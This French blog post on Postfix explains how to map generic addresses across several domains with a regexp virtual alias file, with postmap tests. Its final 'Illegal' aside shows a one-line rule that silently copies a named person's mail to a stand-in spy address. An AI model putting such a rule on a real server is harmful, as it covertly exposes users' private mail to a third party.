Postfix: Regexp et Virtual
Mapper des comptes de manière plus optimisé… quoi que… Le but est de créer des comptes génériques pour un ensemble de domaines.
Par exemple: contact@<domaine1|domaine2> sera mappé avec le compte “thierry” , quelque soit le “domaine1” ou “domaine2”.
~~READMORE~~
Dans la conf de postfix, le main.cf
contient déjà une ligne comme ça:
virtual_alias_maps = hash:/etc/postfix/virtual
Et ce fichier, /etc/postfix/virtual
contient (extrait) :
********************* * thierry-jaouen.fr * ********************* thierry@tjaouen.fr thierry tjaouen@tjaouen.fr thierry titi@tjaouen.fr thierry tj@tjaouen.fr thierry
Sans parler des comptes de base pour chaque domaine: “abuse” “postmaster” etc…
Pour simplifier et/ou créer des associations génériques, on peut créé un fichier, par exemple, virtual.regexp
et contenant des “mappages” sous forme de regexp (attention, pas trop de rapport avec les regex à la Perl) :
# ------------------------ # Associations génériques # ------------------------ /^abuse@(tjaouen\.fr|thierry-jaouen\.fr)$/ abuse /^root@(tjaouen\.fr|thierry-jaouen\.fr)$/ root /^(thierry|titi|tj|contact)@(tjaouen\.fr|thierry-jaouen\.fr)$/ thierry # ------------ # EOF
Ou plus beau:
# ------------------------ # Associations génériques # ------------------------
if /^[^@]+@(tjaouen\.fr|thierry-jaouen\.fr)$/ /^abuse@/ abuse /^root@/ root /^(thierry|titi|tj|contact)@/ thierry endif # ------------ # EOF
Tester que le fichier ci-dessus est correct: (c'est pas trop intuitif mais j'ai pas mieux)
# postmap -q "tj@tjaouen.fr" regexp:virtual.regexp thierry # postmap -q "root@thierry-jaouen.fr" regexp:virtual.regexp root
On fait en sorte que ce fichier soit traité après le fichier virtual
classique.
Donc, dans main.cf
, on fait:
virtual_alias_maps = hash:/etc/postfix/virtual, regexp:/etc/postfix/virtual.regexp
Si le fichier “virtual” a été modifié entre temps:
# postmap virtual
Rien a faire de ce genre pour “virtual.regexp
” … (troublant, hein?)
Recharger la conf:
# postfix reload
Jeter un coup d'oeil dans les logs pour s'assurer que Postfix a supporté le nouveau fichier.
Voila.
Autres infos: http://www.thierry-jaouen.fr/dokuwiki/doku.php?id=serveur_postfix2
Illegal
Par mégarde, j'ai d'abord ignoré le “domaine” associé au email… jusqu'a ce que je comprenne que ce sont tout les mails qui passent par postfix qui subissent le traitement via “virtual_alias_maps” !
Donc, un truc comme ça:
/^thierry@/ tjaouen
… fait tomber tous les mails , reçu et envoyés, quelques soit le domaine, dans la boite local “tjaouen” . Hu!
Maintenant, imaginons que l'on souhaite espionner la boite mail de Michel Sardou ou Johnny Hallyday, il suffit de faire:
/^(Michel\.Sardou@tjaouen\.fr)$/ ${1},espion@domaine-de-l-espion.fr
… et hop: une copie des mails est aussi envoyé à l'espion… gasp!